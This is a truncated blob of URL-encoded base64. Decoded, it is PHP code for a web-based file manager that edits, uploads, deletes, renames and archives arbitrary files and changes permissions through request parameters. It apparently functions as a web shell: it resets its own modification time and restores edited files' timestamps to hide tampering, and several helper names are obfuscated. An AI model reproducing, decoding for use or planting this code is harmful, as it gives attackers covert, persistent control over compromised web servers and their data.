nRvdXBwZXIoJHJlc19sbmcpLicgJy5fXygnUmVzdWx0JykuJzxcL2gzPjxwcmU%2BJy4kZnVuKCRyZXMpLic8XC9wcmU%2BJztcclxuXHR9XHJcbn0gZWxzZWlmICghZW1wdHkoJF9SRVFVRVNUWydlZGl0J10pKXtcclxuXHRpZighZW1wdHkoJF9SRVFVRVNUWydzYXZlJ10pKSB7XHJcblx0XHQkZm4gPSAkcGF0aCAuICRfUkVRVUVTVFsnZWRpdCddO1xyXG5cdFx0JGZpbGVtdGltZSA9IGZpbGVtdGltZSgkZm4pO1xyXG5cdCAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZuLCAkX1JFUVVFU1RbJ25ld2NvbnRlbnQnXSkpICRtc2dfbnRpbWVzIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTtcclxuXHRcdGVsc2UgJG1zZ19udGltZXMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7XHJcblx0XHRpZiAoJF9HRVRbJ2VkaXQnXT09YmFzZW5hbWUoX19GSUxFX18pKSB7XHJcblx0XHRcdHRvdWNoKF9fRklMRV9fLDE0MTUxMTYzNzEpO1xyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0aWYgKCFlbXB0eSgkZm1fY29uZmlnWydyZXN0b3JlX3RpbWUnXSkpIHRvdWNoKCRmbiwkZmlsZW10aW1lKTtcclxuXHRcdH1cclxuXHR9XHJcbiAgICAkb2xkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkcGF0aCAuICRfUkVRVUVTVFsnZWRpdCddKTtcclxuICAgICRlZGl0bGluayA9ICR1cmxfaW5jIC4gJyZlZGl0PScgLiAkX1JFUVVFU1RbJ2VkaXQnXSAuICcmcGF0aD0nIC4gJHBhdGg7XHJcbiAgICAkYmFja2xpbmsgPSAkdXJsX2luYyAuICcmcGF0aD0nIC4gJHBhdGg7XHJcbj8%2BXHJcbjx0YWJsZSBib3JkZXI9JzAnIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMScgd2lkdGg9XCIxMDAlXCI%2BXHJcbjx0cj5cclxuICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuX18oJ0VkaXQnKS4nIC0gJy4kcGF0aC4kX1JFUVVFU1RbJ2VkaXQnXT8%2BPFwvdGg%2BXHJcbjxcL3RyPlxyXG48dHI%2BXHJcbiAgICA8dGQgY2xhc3M9XCJyb3cxXCI%2BXHJcbiAgICAgICAgPD89JG1zZ19udGltZXM%2FPlxyXG5cdDxcL3RkPlxyXG48XC90cj5cclxuPHRyPlxyXG4gICAgPHRkIGNsYXNzPVwicm93MVwiPlxyXG4gICAgICAgIDw%2FPWZtX2hvbWUoKT8%2BIDxhIGhyZWY9XCI8Pz0kYmFja2xpbms%2FPlwiPjw%2FPV9fKCdCYWNrJyk%2FPjxcL2E%2BXHJcblx0PFwvdGQ%2BXHJcbjxcL3RyPlxyXG48dHI%2BXHJcbiAgICA8dGQgY2xhc3M9XCJyb3cxXCIgYWxpZ249XCJjZW50ZXJcIj5cclxuICAgICAgICA8Zm9ybSBuYW1lPVwiZm9ybTFcIiBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiPD89JGVkaXRsaW5rPz5cIj5cclxuICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9XCJuZXdjb250ZW50XCIgaWQ9XCJuZXdjb250ZW50XCIgY29scz1cIjQ1XCIgcm93cz1cIjE1XCIgc3R5bGU9XCJ3aWR0aDo5OSVcIiBzcGVsbGNoZWNrPVwiZmFsc2VcIj48Pz1odG1sc3BlY2lhbGNoYXJzKCRvbGRjb250ZW50KT8%2BPFwvdGV4dGFyZWE%2BXHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNhdmVcIiB2YWx1ZT1cIjw%2FPV9fKCdTdWJtaXQnKT8%2BXCI%2BXHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiPD89X18oJ0NhbmNlbCcpPz5cIj5cclxuICAgICAgICA8XC9mb3JtPlxyXG4gICAgPFwvdGQ%2BXHJcbjxcL3RyPlxyXG48XC90YWJsZT5cclxuPD9waHBcclxuZWNobyAkYXV0aFsnc2NyaXB0J107XHJcbn0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3JpZ2h0cyddKSl7XHJcblx0aWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkge1xyXG5cdCAgICBpZihmbV9jaG1vZCgkcGF0aCAuICRfUkVRVUVTVFsncmlnaHRzJ10sIGZtX2NvbnZlcnRfcmlnaHRzKCRfUkVRVUVTVFsncmlnaHRzX3ZhbCddKSwgQCRfUkVRVUVTVFsncmVjdXJzaXZlbHknXSkpXHJcblx0XHQkbXNnX250aW1lcyAuPSAoX18oJ0ZpbGUgdXBkYXRlZCcpKTsgXHJcblx0XHRlbHNlICRtc2dfbnRpbWVzIC49IChfXygnRXJyb3Igb2NjdXJyZWQnKSk7XHJcblx0fVxyXG5cdGNsZWFyc3RhdGNhY2hlKCk7XHJcbiAgICAkb2xkcmlnaHRzID0gZm1fcmlnaHRzX3N0cmluZygkcGF0aCAuICRfUkVRVUVTVFsncmlnaHRzJ10sIHRydWUpO1xyXG4gICAgJGxpbmsgPSAkdXJsX2luYyAuICcmcmlnaHRzPScgLiAkX1JFUVVFU1RbJ3JpZ2h0cyddIC4gJyZwYXRoPScgLiAkcGF0aDtcclxuICAgICRiYWNrbGluayA9ICR1cmxfaW5jIC4gJyZwYXRoPScgLiAkcGF0aDtcclxuPz5cclxuPHRhYmxlIGNsYXNzPVwid2hvbGVcIj5cclxuPHRyPlxyXG4gICAgPHRoPjw%2FPV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy4kcGF0aD8%2BPFwvdGg%2BXHJcbjxcL3RyPlxyXG48dHI%2BXHJcbiAgICA8dGQgY2xhc3M9XCJyb3cxXCI%2BXHJcbiAgICAgICAgPD89JG1zZ19udGltZXM%2FPlxyXG5cdDxcL3RkPlxyXG48XC90cj5cclxuPHRyPlxyXG4gICAgPHRkIGNsYXNzPVwicm93MVwiPlxyXG4gICAgICAgIDxhIGhyZWY9XCI8Pz0kYmFja2xpbms%2FPlwiPjw%2FPV9fKCdCYWNrJyk%2FPjxcL2E%2BXHJcblx0PFwvdGQ%2BXHJcbjxcL3RyPlxyXG48dHI%2BXHJcbiAgICA8dGQgY2xhc3M9XCJyb3cxXCIgYWxpZ249XCJjZW50ZXJcIj5cclxuICAgICAgICA8Zm9ybSBuYW1lPVwiZm9ybTFcIiBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiPD89JGxpbms%2FPlwiPlxyXG4gICAgICAgICAgIDw%2FPV9fKCdSaWdodHMnKS4nIC0gJy4kX1JFUVVFU1RbJ3JpZ2h0cyddPz4gPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInJpZ2h0c192YWxcIiB2YWx1ZT1cIjw%2FPSRvbGRyaWdodHM%2FPlwiPlxyXG4gICAgICAgIDw%2FcGhwIGlmIChpc19kaXIoJHBhdGguJF9SRVFVRVNUWydyaWdodHMnXSkpIHsgPz5cclxuICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJyZWN1cnNpdmVseVwiIHZhbHVlPVwiMVwiPiA8Pz1fXygnUmVjdXJzaXZlbHknKT8%2BPGJyXC8%2BXHJcbiAgICAgICAgPD9waHAgfSA%2FPlxyXG4gICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzYXZlXCIgdmFsdWU9XCI8Pz1fXygnU3VibWl0Jyk%2FPlwiPlxyXG4gICAgICAgIDxcL2Zvcm0%2BXHJcbiAgICA8XC90ZD5cclxuPFwvdHI%2BXHJcbjxcL3RhYmxlPlxyXG48P3BocFxyXG59IGVsc2VpZiAoIWVtcHR5KCRfUkVRVUVTVFsncmVuYW1lJ10pJiYkX1JFUVVFU1RbJ3JlbmFtZSddPD4nLicpIHtcclxuXHRpZighZW1wdHkoJF9SRVFVRVNUWydzYXZlJ10pKSB7XHJcblx0ICAgIHJlbmFtZSgkcGF0aCAuICRfUkVRVUVTVFsncmVuYW1lJ10sICRwYXRoIC4gJF9SRVFVRVNUWyduZXduYW1lJ10pO1xyXG5cdFx0JG1zZ19udGltZXMgLj0gKF9fKCdGaWxlIHVwZGF0ZWQnKSk7XHJcblx0XHQkX1JFUVVFU1RbJ3JlbmFtZSddID0gJF9SRVFVRVNUWyduZXduYW1lJ107XHJcblx0fVxyXG5cdGNsZWFyc3RhdGNhY2hlKCk7XHJcbiAgICAkbGluayA9ICR1cmxfaW5jIC4gJyZyZW5hbWU9JyAuICRfUkVRVUVTVFsncmVuYW1lJ10gLiAnJnBhdGg9JyAuICRwYXRoO1xyXG4gICAgJGJhY2tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoO1xyXG5cclxuPz5cclxuPHRhYmxlIGNsYXNzPVwid2hvbGVcIj5cclxuPHRyPlxyXG4gICAgPHRoPjw%2FPV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy4kcGF0aD8%2BPFwvdGg%2BXHJcbjxcL3RyPlxyXG48dHI%2BXHJcbiAgICA8dGQgY2xhc3M9XCJyb3cxXCI%2BXHJcbiAgICAgICAgPD89JG1zZ19udGltZXM%2FPlxyXG5cdDxcL3RkPlxyXG48XC90cj5cclxuPHRyPlxyXG4gICAgPHRkIGNsYXNzPVwicm93MVwiPlxyXG4gICAgICAgIDxhIGhyZWY9XCI8Pz0kYmFja2xpbms%2FPlwiPjw%2FPV9fKCdCYWNrJyk%2FPjxcL2E%2BXHJcblx0PFwvdGQ%2BXHJcbjxcL3RyPlxyXG48dHI%2BXHJcbiAgICA8dGQgY2xhc3M9XCJyb3cxXCIgYWxpZ249XCJjZW50ZXJcIj5cclxuICAgICAgICA8Zm9ybSBuYW1lPVwiZm9ybTFcIiBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiPD89JGxpbms%2FPlwiPlxyXG4gICAgICAgICAgICA8Pz1fXygnUmVuYW1lJyk%2FPjogPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld25hbWVcIiB2YWx1ZT1cIjw%2FPSRfUkVRVUVTVFsncmVuYW1lJ10%2FPlwiPjxiclwvPlxyXG4gICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzYXZlXCIgdmFsdWU9XCI8Pz1fXygnU3VibWl0Jyk%2FPlwiPlxyXG4gICAgICAgIDxcL2Zvcm0%2BXHJcbiAgICA8XC90ZD5cclxuPFwvdHI%2BXHJcbjxcL3RhYmxlPlxyXG48P3BocFxyXG5cclxufSBlbHNlIHtcclxuICAgICAgICAgICAgICAgICAgICAgICBcclxuXC9cL3F1YW54aWFuIGdhaSBiaWFuIGhvdSB4dSB5YW8geGkgdG9uZyBjaG9uZ3FpXHJcbiAgICAgICAgICAgICAgICAgICAgXHJcbiAgICAkbXNnX250aW1lcyA9ICcnO1xyXG5cclxuICAgIGlmKCFlbXB0eSgkX0ZJTEVTWyd1cGxvYWQnXSkmJiFlbXB0eSgkZm1fY29uZmlnWyd1cGxvYWRfZmlsZSddKSkge1xyXG5cclxuICAgICAgICBpZighZW1wdHkoJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSkpe1xyXG4gICAgICAgICAgICAkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddID0gc3RyX3JlcGxhY2UoJyUnLCAnJywgJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSk7XHJcblxyXG4gICAgICAgICAgICBpZighbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwbG9hZCddWyd0bXBfbmFtZSddLCAkcGF0aCAuICRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKXtcclxuICAgICAgICAgICAgICAgICRtc2dfbnRpbWVzIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpO1xyXG4gICAgICAgICAgICAgICAgICAgICAgXHJcbiAgICAgICAgICAgIH0gZWxzZSB7XHJcblxyXG5cdFx0ICAgICBcdFx0ICAgICAkbXNnX250aW1lcyAuPSBfXygnRmlsZXMgdXBsb2FkZWQnKS4nOiAnLiRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ107XHJcblxyXG5cdFx0ICAgICBcdH1cclxuICAgICAgICAgICAgICAgICAgICAgICBcclxuICAgICAgICB9XHJcbiAgICB9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydkZWxldGUnXSkmJiRfUkVRVUVTVFsnZGVsZXRlJ108PicuJykge1xyXG4gICAgICAgIGlmKCFmbV9kZWxfa2h1bWZhaWwoKCRwYXRoIC4gJF9SRVFVRVNUWydkZWxldGUnXSksIHRydWUpKSB7XHJcbiAgICAgICAgICAgICRtc2dfbnRpbWVzIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpO1xyXG4gICAgICAgICAgICAgICAgICAgIFxyXG4gICAgICAgIH0gZWxzZSB7XHJcblxyXG5cdFx0ICAgICBcdCRtc2dfbnRpbWVzIC49IF9fKCdEZWxldGVkJykuJyAnLiRfUkVRVUVTVFsnZGVsZXRlJ107XHJcblx0XHQgICAgIH1cclxuXHR9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydta2RpciddKSYmIWVtcHR5KCRmbV9jb25maWdbJ21ha2VfZGlyZWN0b3J5J10pKSB7XHJcbiAgICAgICAgaWYoIUBta2RpcigkcGF0aCAuICRfUkVRVUVTVFsnZGlybmFtZSddLDA3NzcpKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgICBcclxuICAgICAgICAgICAgJG1zZ19udGltZXMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7XHJcbiAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgICAgICAgICAgXHJcblx0XHQgICAgIFx0JG1zZ19udGltZXMgLj0gX18oJ0NyZWF0ZWQnKS4nICcuJF9SRVFVRVNUWydkaXJuYW1lJ107XHJcblx0XHQgICAgIH1cclxuXHJcbiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydzZWFyY2hfcmVjdXJzaXZlJ10pKSB7XHJcblx0XHQgICAgIGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsICcwJyk7XHJcblx0XHQgICAgICRzZWFyY2hfZGF0YSA9ICBmaW5kX3RleHRfaW5fa2h1bWZhaWwoJF9QT1NUWydwYXRoJ10sICRfUE9TVFsnbWFzayddLCAkX1BPU1RbJ3NlYXJjaF9yZWN1cnNpdmUnXSk7XHJcblxyXG5cdFx0ICAgICBpZighZW1wdHkoJHNlYXJjaF9kYXRhKSkge1xyXG4gICAgICAgICAgICAgICAgICAgICAgIFxyXG5cdFx0ICAgICBcdCRtc2dfbnRpbWVzIC49IF9fKCdGb3VuZCBpbiBraHVtZmFpbCcpLicgKCcuY291bnQoJHNlYXJjaF9kYXRhKS4nKTo8YnI%2BJztcclxuXHJcblx0XHQgICAgIFx0Zm9yZWFjaCAoJHNlYXJjaF9kYXRhIGFzICRmaWxlbmFtZSkge1xyXG4gICAgICAgICAgICAgICAgICAgIFxyXG5cdFx0ICAgICBcdFx0ICAgICAkbXNnX250aW1lcyAuPSAnPGEgaHJlZj1cIicudGhhbmd3ZWIodHJ1ZSkuJz9mbT10cnVlJmVkaXQ9Jy5iYXNlbmFtZSgkZmlsZW5hbWUpLicmcGF0aD0nLnN0cl9yZXBsYWNlKCdcLycuYmFzZW5hbWUoJGZpbGVuYW1lKSwnXC8nLCRmaWxlbmFtZSkuJ1wiIHRpdGxlPVwiJyAuIF9fKCdFZGl0JykgLiAnXCI%2BJy5iYXNlbmFtZSgkZmlsZW5hbWUpLic8XC9hPiZuYnNwOyAmbmJzcDsnO1xyXG5cclxuXHRcdCAgICAgXHR9XHJcblx0XHQgICAgIH0gZWxzZSB7XHJcblx0XHQgICAgIFx0JG1zZ19udGltZXMgLj0gX18oJ05vdGhpbmcgZm91bmRlZCcpO1xyXG5cclxuXHRcdCAgICAgfVx0XHJcblxyXG5cdH0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ21rZmlsZSddKSYmIWVtcHR5KCRmbV9jb25maWdbJ25ld19maWxlJ10pKSB7XHJcblxyXG4gICAgICAgIGlmKCEkZnA9QGZvcGVuKCRwYXRoIC4gJF9SRVFVRVNUWydmaWxlbmFtZSddLFwid1wiKSkge1xyXG5cclxuICAgICAgICAgICAgJG1zZ19udGltZXMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7XHJcbiAgICAgICAgICAgICAgICAgICAgXHJcbiAgICAgICAgfSBlbHNlIHtcclxuXHJcblx0XHQgICAgIFx0ZmNsb3NlKCRmcCk7XHJcbiAgICAgICAgICAgICAgICAgICAgIFxyXG5cdFx0ICAgICBcdCRtc2dfbnRpbWVzIC49IF9fKCdDcmVhdGVkJykuJyAnLiRfUkVRVUVTVFsnZmlsZW5hbWUnXTtcclxuXHRcdCAgICAgfVxyXG5cclxuICAgIH0gZWxzZWlmIChpc3NldCgkX0dFVFsnemlwJ10pKSB7XHJcblx0XHQgICAgICRzb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWyd6aXAnXSk7XHJcblx0XHQgICAgICRkZXN0aW5hdGlvbiA9IGJhc2VuYW1lKCRzb3VyY2UpLicuemlwJztcclxuICAgICAgICAgICAgICAgICAgICAgIFxyXG5cdFx0ICAgICBzZXRfdGltZV9saW1pdCgwKTtcclxuXHJcblx0XHQgICAgICRwaGFyID0gbmV3IFBoYXJEYXRhKCRkZXN0aW5hdGlvbik7XHJcblxyXG5cdFx0ICAgICAkcGhhci0%2BYnVpbGRGcm9tRGlyZWN0b3J5KCRzb3VyY2UpO1xyXG4gICAgICAgICAgICAgICAgICAgICAgXHJcblx0XHQgICAgIGlmIChpc19maWxlKCRkZXN0aW5hdGlvbikpXHJcbiAgICAgICAgICAgICAgICAgICAgIFxyXG5cdFx0ICAgICAkbXNnX250aW1lcyAuPSBfXygnVGFzaycpLicgXCInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLidcIiAnLl9fKCdkb25lJykuXHJcblxyXG5cdFx0ICAgICAnLiZuYnNwOycucmFuZ2tod2FtcGFuaXRoYW4oJ2Rvd25sb2FkJywkcGF0aC4kZGVzdGluYXRpb24sX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZGVzdGluYXRpb24pXHJcblx0XHQgICAgIC4nJm5ic3A7PGEgaHJlZj1cIicuJHVybF9pbmMuJyZkZWxldGU9Jy4kZGVzdGluYXRpb24uJyZwYXRoPScgLiAkcGF0aC4nXCIgdGl0bGU9XCInLl9fKCdEZWxldGUnKS4nICcuICRkZXN0aW5hdGlvbi4nXCIgPicuX18oJ0RlbGV0ZScpIC4gJzxcL2E%2BJztcclxuXHJcblx0XHQgICAgIGVsc2UgJG1zZ19udGltZXMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJykuJzogJy5fXygnbm8ga2h1bWZhaWwnKTtcclxuXHJcblx0fSBlbHNlaWYgKGlzc2V0KCRfR0VUWydneiddKSkge1xyXG5cclxuXHRcdCAgICAgJHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ2d6J10pO1xyXG5cclxuXHRcdCAgICAgJGFyY2hpdmUgPSAkc291cmNlLicudGFyJztcclxuXHJcblx0XHQgICAgICRkZXN0aW5hdGlvbiA9IGJhc2VuYW1lKCRzb3VyY2UpLicudGFyJztcclxuXHRcdCAgICAgaWYgKGlzX2ZpbGUoJGFyY2hpdmUpKSB1bmxpbmsoJGFyY2hpdmUpO1xyXG5cclxuXHRcdCAgICAgaWYgKGlzX2ZpbGUoJGFyY2hpdmUuJy5neicpKSB1bmxpbmsoJGFyY2hpdmUuJy5neicpO1xyXG4gICAgICAgICAgICAgICAgICAgICAgIFxyXG5cdFx0ICAgICBjbGVhcnN0YXRjYWNoZSgpO1xyXG5cclxuXHRcdCAgICAgc2V0X3RpbWVfbGltaXQoMCk7XHJcblxyXG5cdFx0ICAgICBcL1wvZGllKCk7XHJcblx0XHQgICAgICRwaGFyID0gbmV3IFBoYXJEYXRhKCRkZXN0aW5hdGlvbik7XHJcblx0XHQgICAgICRwaGFyLT5idWlsZEZyb21EaXJlY3RvcnkoJHNvdXJjZSk7XHJcblxyXG5cdFx0ICAgICAkcGhhci0%2BY29tcHJlc3MoUGhhcjo6R1osJy50YXIuZ3onKTtcclxuXHRcdCAgICAgdW5zZXQoJHBoYXIpO1xyXG5cdFx0ICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHtcclxuXHJcblx0XHQgICAgIFx0aWYgKGlzX2ZpbGUoJGFyY2hpdmUuJy5neicpKSB7XHJcblx0XHQgICAgIFx0XHQgICAgIHVubGluaygkYXJjaGl2ZSk7IFxyXG5cdFx0ICAgICBcdFx0ICAgICAkZGVzdGluYXRpb24gLj0gJy5neic7XHJcblxyXG5cdFx0ICAgICBcdH1cclxuXHJcblxyXG4gICAgICAgICAgICAgICAgICAgICAgIFxyXG5cdFx0ICAgICBcdCRtc2dfbnRpbWVzIC49IF9fKCdUYXNrJykuJyBcIicuX18oJ0FyY2hpdmluZycpLicgJy4kZGVzdGluYXRpb24uJ1wiICcuX18oJ2RvbmUnKS5cclxuXHJcblx0XHQgICAgIFx0Jy4mbmJzcDsnLnJhbmdraHdhbXBhbml0aGFuKCdkb3dubG9hZCcsJHBhdGguJGRlc3RpbmF0aW9uLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGRlc3RpbmF0aW9uKVxyXG4gICAgICAgICAgICAgICAgICAgICAgIFxyXG5cdFx0ICAgICBcdC4nJm5ic3A7PGEgaHJlZj1cIicuJHVybF9pbmMuJyZkZWxldGU9Jy4kZGVzdGluYXRpb24uJyZwYXRoPScgLiAkcGF0aC4nXCIgdGl0bGU9XCInLl9fKCdEZWxldGUnKS4nICcuJGRlc3RpbmF0aW9uLidcIiA%2BJy5fXygnRGVsZXRlJykuJzxcL2E%2BJztcclxuXHRcdCAgICAgfSBlbHNlICRtc2dfbnRpbWVzIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpLic6ICcuX18oJ25vIGtodW1mYWlsJyk7XHJcblxyXG5cdH0gZWxzZWlmIChpc3NldCgkX0dFVFsnZGVjb21wcmVzcyddKSkge1xyXG5cclxuXHRcdCAgICAgXC9cLyAkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZGVjb21wcmVzcyddKTtcclxuXHRcdCAgICAgXC9cLyAkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKTtcclxuICAgICAgICAgICAgICAgICAgICAgXHJcblx0XHQgICAgIFwvXC8gJGV4dCA9IGVuZChleHBsb2RlKFwiLlwiLCAkZGVzdGluYXRpb24pKTtcclxuXHJcblx0XHQgICAgIFwvXC8gaWYgKCRleHQ9PSd6aXAnIE9SICRleHQ9PSdneicpIHtcclxuXHJcblx0XHQgICAgIFx0XC9cLyAkcGhhciA9IG5ldyBQaGFyRGF0YSgkc291cmNlKTtcclxuXHJcblx0XHQgICAgIFx0XC9cLyAkcGhhci0%2BZGVjb21wcmVzcygpO1xyXG4gICAgICAgICAgICAgICAgICAgICBcclxuXHRcdCAgICAgXHRcL1wvICRiYXNlX2ZpbGUgPSBzdHJfcmVwbGFjZSgnLicuJGV4dCwnJywkZGVzdGluYXRpb24pO1xyXG5cclxuXHRcdCAgICAgXHRcL1wvICRleHQgPSBlbmQoZXhwbG9kZShcIi5cIiwgJGJhc2VfZmlsZSkpO1xyXG5cclxuXHRcdCAgICAgXHRcL1wvIGlmICgkZXh0PT0ndGFyJyl7XHJcblx0XHQgICAgIFx0XHQgICAgIFwvXC8gJHBoYXIgPSBuZXcgUGhhckRhdGEoJGJhc2VfZmlsZSk7XHJcbiAgICAgICAgICAgICAgICAgICAgXHJcblx0XHQgICAgIFx0XHQgICAgIFwvXC8gJHBoYXItPmV4dHJhY3RUbyhkaXIoJHNvdXJjZSkpO1xyXG5cclxuXHRcdCAgICAgXHRcL1wvIH1cclxuXHJcblx0XHQgICAgIFwvXC8gfSBcclxuXHJcblx0XHQgICAgIFwvXC8gJG1zZ19udGltZXMgLj0gX18oJ1Rhc2snKS4nIFwiJy5fXygnRGVjb21wcmVzcycpLicgJy4kc291cmNlLidcIiAnLl9fKCdkb25lJyk7XHJcblxyXG5cdH0gZWxzZWlmIChpc3NldCgkX0dFVFsnZ3pmaWxlJ10pKSB7XHJcblxyXG5cdFx0ICAgICAkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZ3pmaWxlJ10pO1xyXG5cclxuXHRcdCAgICAgJGFyY2hpdmUgPSAkc291cmNlLicudGFyJztcclxuXHJcblx0XHQgICAgICRkZXN0aW5hdGlvbiA9IGJhc2VuYW1lKCRzb3VyY2UpLicudGFyJztcclxuICAgICAgICAgICAgICAgICAgICAgXHJcblx0XHQgICAgIGlmIChpc19maWxlKCRhcmNoaXZlKSkgdW5saW5rKCRhcmNoaXZlKTtcclxuXHRcdCAgICAgaWYgKGlzX2ZpbGUoJGFyY2hpdmUuJy5neicpKSB1bmxpbmsoJGFyY2hpdmUuJy5neicpO1xyXG5cclxuXHRcdCAgICAgc2V0X3RpbWVfbGltaXQoMCk7XHJcblx0XHQgICAgIFwvXC9lY2hvICRkZXN0aW5hdGlvbjtcclxuICAgICAgICAgICAgICAgICAgICAgICBcclxuXHRcdCAgICAgJGV4dF9hcnIgPSBleHBsb2RlKCcuJyxiYXNlbmFtZSgkc291cmNlKSk7XHJcblx0XHQgICAgIGlmIChpc3NldCgkZXh0X2FyclsxXSkpIHtcclxuICAgICAgICAgICAgICAgICAgICAgXHJcblx0XHQgICAgIFx0dW5zZXQoJGV4dF9hcnJbMF0pO1xyXG5cclxuXHRcdCAgICAgXHQkZXh0PWltcGxvZGUoJy4nLCRleHRfYXJyKTtcclxuXHRcdCAgICAgfSBcclxuXHJcblx0XHQgICAgICRwaGFyID0gbmV3IFBoYXJEYXRhKCRkZXN0aW5hdGlvbik7XHJcblxyXG5cdFx0ICAgICAkcGhhci0%2BYWRkRmlsZSgkc291cmNlKTtcclxuXHJcblx0XHQgICAgICRwaGFyLT5jb21wcmVzcyhQaGFyOjpHWiwkZXh0LicudGFyLmd6Jyk7XHJcblxyXG5cdFx0ICAgICB1bnNldCgkcGhhcik7XHJcblxyXG5cdFx0ICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHtcclxuXHRcdCAgICAgXHRpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHtcclxuXHJcblx0XHQgICAgIFx0XHQgICAgIHVubGluaygkYXJjaGl2ZSk7IFxyXG5cclxuXHRcdCAgICAgXHRcdCAgICAgJGRlc3RpbmF0aW9uIC49ICcuZ3onO1xyXG5cclxuXHRcdCAgICAgXHR9XHJcbiAgICAgICAgICAgICAgICAgICAgXHJcblx0XHQgICAgIFx0JG1zZ19udGltZXMgLj0gX18oJ1Rhc2snKS4nIFwiJy5fXygnQXJjaGl2aW5nJykuJyAnLiRkZXN0aW5hdGlvbi4nXCIgJy5fXygnZG9uZScpLlxyXG5cclxuXHRcdCAgICAgXHQnLiZuYnNwOycucmFuZ2tod2FtcGFuaXRoYW4oJ2Rvd25sb2FkJywkcGF0aC4kZGVzdGluYXRpb24sX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZGVzdGluYXRpb24pXHJcblxyXG5cdFx0ICAgICBcdC4nJm5ic3A7PGEgaHJlZj1cIicuJHVybF9pbmMuJyZkZWxldGU9Jy4kZGVzdGluYXRpb24uJyZwYXRoPScgLiAkcGF0aC4nXCIgdGl0bGU9XCInLl9fKCdEZWxldGUnKS4nICcuJGRlc3RpbmF0aW9uLidcIiA%2BJy5fXygnRGVsZXRlJykuJzxcL2E%2BJztcclxuXHJcblx0XHQgICAgIH0gZWxzZSAkbXNnX250aW1lcyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBraHVtZmFpbCcpO1xyXG5cclxuXHR9XHJcbiAgICAgICAgICAgICAgICAgICAgICBcclxuPz5cclxuPHRhYmxlIGNsYXNzPVwid2hvbGVcIiBpZD1cImhlYWRlcl90YWJsZVwiID5cclxuPHRyPlxyXG4gICAgPHRoIGNvbHNwYW49XCIyXCI%2BPD89X18oJ0ZpbGUgbWFuYWdlcicpPz48Pz0oIWVtcHR5KCRwYXRoKT8nIC0gJy4kcGF0aDonJyk%2FPjxcL3RoPlxyXG48XC90cj5cclxuPD9waHAgaWYoIWVtcHR5KCRtc2dfbnRpbWVzKSl7ID8%2BXHJcbjx0cj5cclxuXHQ8dGQgY29sc3Bhbj1cIjJcIiBjbGFzcz1cInJvdzJcIj48Pz0kbXNnX250aW1lcz8%2BPFwvdGQ%2BXHJcbjxcL3RyPlxyXG48P3BocCB9ID8%2BXHJcbjx0cj5cclxuICAgIDx0ZCBjbGFzcz1cInJvdzJcIj5cclxuXHRcdDx0YWJsZT5cclxuXHRcdFx0PHRyPlxyXG5cdFx0XHQ8dGQ%2BXHJcblx0XHRcdFx0PD89Zm1faG9tZSgpPz5cclxuXHRcdFx0PFwvdGQ%2BXHJcblx0XHRcdDx0ZD5cclxuPD9waHBcclxuc2Vzc2lvbl9zdGFydCgpO1xyXG5cclxuXC9cL